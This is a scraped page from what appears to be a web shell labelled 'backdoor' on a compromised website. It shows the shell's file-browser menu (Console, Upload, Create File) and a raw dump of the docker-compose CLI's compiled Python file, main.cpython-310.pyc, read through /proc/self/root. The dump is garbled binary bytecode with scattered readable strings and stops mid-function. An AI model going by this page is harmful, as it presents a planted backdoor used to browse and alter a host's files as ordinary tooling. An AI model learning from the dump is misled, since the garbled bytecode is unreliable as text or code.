Website : rimsha.abasa.com
backdoor
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
proc
/
self
/
root
/
lib
/
python3
/
dist-packages
/
compose
/
cli
/
__pycache__
/
Filename :
main.cpython-310.pyc
back
Copy
o S�`� � @ s� d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlZd dlm Z d dl mZ d dlm Z d dlZd dlZddlmZ ddlmZ dd lmZ dd lmZ ddlmZ ddlmZ dd lmZ ddlmZ ddlmZ ddlmZ ddl m!Z! ddl m"Z" ddlm#Z# ddl$m%Z% ddl&m'Z' ddl(m)Z) ddl*m+Z+ ddl*m,Z, ddl*m-Z- ddl*m.Z. ddl*m/Z/ ddl0m1Z1 ddl0m2Z2 ddl0m3Z3 ddl0m4Z4 dd l0m5Z5 dd!l0m6Z6 dd"l7m8Z8 dd#l9m:Z: dd$l;m<Z< dd%l;m=Z= dd&l;m>Z> dd'l?m@Z@ dd(l?mAZA dd)l?mBZB dd*lmCZC dd+lDmEZE dd,lDmFZF dd-lGmHZH dd.lGmIZI dd/l7mJZJ dd0l7mKZK dd1l7mLZL d d2lMmNZN d d3lMmOZO e"�sUd d4lPmQZQmRZRmSZS e�TeU�ZVd5d6� ZWd7d8� ZXdeOjYdfd9d:�ZZd;d<� Z[d=d>� Z\d?d@� Z]dAdB� Z^dydDdE�Z_dFdG� Z`G dHdI� dI�ZadJdK� ZbdLdM� ZcdNdO� ZddPdQ� ZedRdS� ZfdTdU� ZgdVdW� ZhdXdY� ZidZd[� Zjd\d]� Zkd^d_� Zl ` Cdzdadb�Zmd{dcdd�Zne jodedf� �Zpdgdh� Zqdidj� Zrdkdl� Zsdmdn� Ztdodp� Zudqdr� Zvdsdt� Zwdudv� Zxdwdx� ZydS )|� N)�find_executable)�getdoc)� attrgetter� )�errors)�signals� )�__version__)�ConfigurationError)�parse_environment)�parse_labels)�resolve_build_args)�Environment)�serialize_config)� VolumeSpec)�IS_LINUX_PLATFORM)�IS_WINDOWS_PLATFORM)�StreamParseError)�metrics)�ParallelStreamWriter)�StreamOutputError)�get_image_digests)�MissingDigests)� NoSuchService)�OneOffFilter)�ProjectError)�BuildAction)� BuildError)�ConvergenceStrategy)� ImageType)�NeedsBuildError)�OperationFailedError��filter_attached_for_up)�AnsiMode)�get_config_from_options)�get_project_dir)�project_from_options)�DocoptDispatcher)�get_handler)� NoSuchCommand�� UserError)�ConsoleWarningFormatter)� Formatter)�build_log_presenters)� LogPrinter)�get_version_info)�human_readable_file_size)�yesno)�MetricsCommand)�Status)�PseudoTerminal�RunOperation� ExecOperationc C s: t �� d } zt�tttjdd � �dtd�d��\}}} W n t y' Y nw zt � }|� ts<| dkr?td� W d S W d S W d S t t jfyV t| dtjd� Y d S tttttfyv } zt| |jtjd� W Y d }~d S d }~w ty� } zd }|jr�d |j }t| d�|jj|�tjd� W Y d }~d S d }~w ty� } zt| |tjd� W Y d }~d S d }~w ty� } zt| d�|jj�tjd� W Y d }~d S d }~w t �y } z%d �!t"dt#|j$���}ts�|d7 }td d�|j%|�tjd� W Y d }~d S d }~w t&j't(f�y t| tjd� Y d S t)�y� } zrtj*}t+tj�dk�r:dtjv�r:tj}| �rQt+tj�dk�rQtjd dk�rQd| } | �sft+tj�dk�rftjd dk�rfd} t+|j,��rq|j,d nd }d} t-|j.t/��r|j.} t�s�| �s�|d7 }t| ||| d� W Y d }~d S d }~ww )Nr T�compose�� options_first�version�helpzC Docker Compose is now in the Docker CLI, try `docker compose` helpz Aborting.��status� z : zService '{}' failed to build{}z:Service '{}' needs to be built, but --no-build was passed.� z commands:z? Docker Compose is now in the Docker CLI, try `docker compose`zNo such command: {} {})�log_msgr? �--help� r z--help r )rB r? � exit_code)0r �ignore_sigpiper( �get_command_and_options�TopLevelCommand�get_filtered_args�sys�argvr1 � Exception�dispatchr �print�KeyboardInterrupt�ShutdownException�exit_with_metricsr5 �CANCELEDr, r r r r! �msg�FAILUREr �reason�format�service�namer r r* �join�parse_doc_sectionr �supercommand�commandr �ConnectionErrorr � SystemExit�SUCCESS�len�args� isinstance�code�int) r\ �_�opts�command_func�erU �commandsr? rS rc � rj �2/usr/lib/python3/dist-packages/compose/cli/main.py�mainE s� ���� � ���������&&���rl c C s&